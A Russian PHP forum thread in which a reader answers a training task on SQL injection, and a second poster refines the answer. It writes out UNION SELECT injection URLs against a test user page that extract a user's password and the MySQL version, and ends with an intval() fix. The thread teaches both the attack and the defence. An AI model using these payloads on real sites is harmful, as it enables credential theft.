Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Ответ 002 на задачу N 11
 
 автор: SoftTime   (06.03.2006 в 22:58)   письмо автору
 
 

Ответ 002 на задачу N 11.
С условиями задачи можно ознакомится по ссылке.
Так как хакер у нас ленивый, то используем минимум знаний: название поля с шв юзера нам предположительно известно из адресной строки, а поле pass - мы подобрали, так как это распространенное название.
Теперь подставляем в запрос UNION известные значения до тех пор, пока сервер не перестает ругаться о несоотвествии полей:

http://test.ru/user.php?id_user=2%20UNION%20SELECT%20pass,%20pass,%20pass,%20pass,%20pass%20%20FROM%20userslist%20%20WHERE%20id_user=2%20ORDER%20BY%20id_user%20DESC

Этот запрос выведет во всех полях пароль пользователя. Если не вывел, надо просто поменять условие сортировки с DESC на ASC


http://test.ru/user.php?id_user=2%20UNION%20SELECT%20VERSION(),%20VERSION(),%20VERSION(),%20VERSION(),%20VERSION()%20FROM%20userslist%20WHERE%20id_user=2%20ORDER%20BY%20id_user%20DESC

А это версия сервера. Справедливости ради: этот запрос срабатывает только если таблица в кодировке UTF8. Уж не знаю, особенности ли это моего сервера, но если нет, то можно считать что со вторым запросом я не справился.
защищаемся от инъекции так:
<?
  
//приводим значение из гет к числу
  
$id_user=intval($_GET[id_user]);
  
$query "SELECT * FROM userslist WHERE id_user = $id_user";    
?> 


За задачку спасибо! Было интересно применить на практике то, о чем столько слышал:)

http://www.softtime.ru/info/task.php?id_article=81

   
 
 автор: cheops   (12.03.2006 в 23:59)   письмо автору
 
   для: SoftTime   (06.03.2006 в 22:58)
 

Всё-так в качестве первого значения не следовало передавать значение 2, тоже что испльзуется во втором SELECT-запросе, так как в таких условиях конструкция ORDER BY id_user просто бесполезна - так у меня SQL-запрос на версию работает, а вот на пароль уже нет. И это понятно, MySQL выводит записи в случайном порядке. Т.е. надёжнее было бы использовать эксплоит вида
-1%20UNION%20SELECT%20pass,%20pass,%20pass,%20pass,%20pass%20%20FROM%20userslist%20%20WHERE%20id_user=2%20ORDER%20BY%20id_user%20DESC

Вместо -1 можно использовать 0 или 1, всё что меньше 2.
Защита очень лаконичная и не пугает разработчика регулярными выражениями - понравилась (хотя сам всё-равно буду пользоваться регулярными выражениями :).

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования